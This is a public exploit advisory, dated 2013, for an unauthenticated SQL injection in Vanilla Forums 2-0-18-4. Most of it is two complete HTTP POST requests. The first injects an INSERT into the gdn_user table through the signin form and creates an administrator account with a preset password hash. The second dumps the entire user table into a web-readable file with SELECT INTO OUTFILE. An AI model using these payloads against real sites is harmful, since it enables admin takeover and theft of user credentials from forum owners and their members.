Vanilla Forums 2-0-18-4 - SQL Injection

# Exploit Title: Vanilla Forums - SQL-Injection - Insert arbitrary user & dump usertable
# Date: 04/05/2013
# Exploit Author: bl4ckw0rm
# Vendor Homepage: http://vanillaforums.org/
# Version: 2-0-18-4
# Tested on: Windows

Product Name:

Vanilla Forums

Vulnerable Version:

Up to vanilla-core-2-0-18-4

Tested on:

Windows Server 2003
Apache 2.4.3
PHP 5.4.7
MySQL 5.5.27

Vulnerability Overview:

SQL-Injection is possible, because$_POST arrays are not proper sanitized.
You do not need to be authenticated.

Vulnerability Details:

To insert an arbitrary user, a sample HTTP-Post Request looks as follows:

POST /[PATH]/vanilla/entry/signin HTTP/1.1
Host: [HOST]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: [any cookie]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 399

Form%2FTransientKey=VQYSOG2F3D38&Form%2Fhpt=&Form%2FTarget=discussions&
Form%2FClientHour=2013-3-28+11%3A37&Form%2FEmail['admin';INSERT INTO gdn_user 
(UserID, Name, Password, HashMethod, DateInserted, Admin, Permissions)
VALUES (NULL, '1234', '$P$BayO4QrMb9wgzdjNhlUBWdQcVaMnKN0', 'Vanilla', 
'2013-03-28 00:00:00', '1', '');#]=abcd&Form%2FPassword=*&Form%2FSign_In=
Sign+In&Checkboxes%5B%5D=RememberMe

Indeed you has to take care of the proper encryption algorithm which is currently used.

As it is not possible to get the user table displayed on the website, you could establish an attack as follows:

POST /[PATH]/vanilla/entry/passwordrequest HTTP/1.1
Host: [HOST]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 255

Form%2FTransientKey=OJS6EB1J0KW7&Form%2Fhpt=&Form%2FEmail['ac';select * 
from gdn_user into outfile '[FULL_PATH]\\vanilla\\out.txt' #]=13&
Form%2FRequest_a_new_password=Request+a+new+password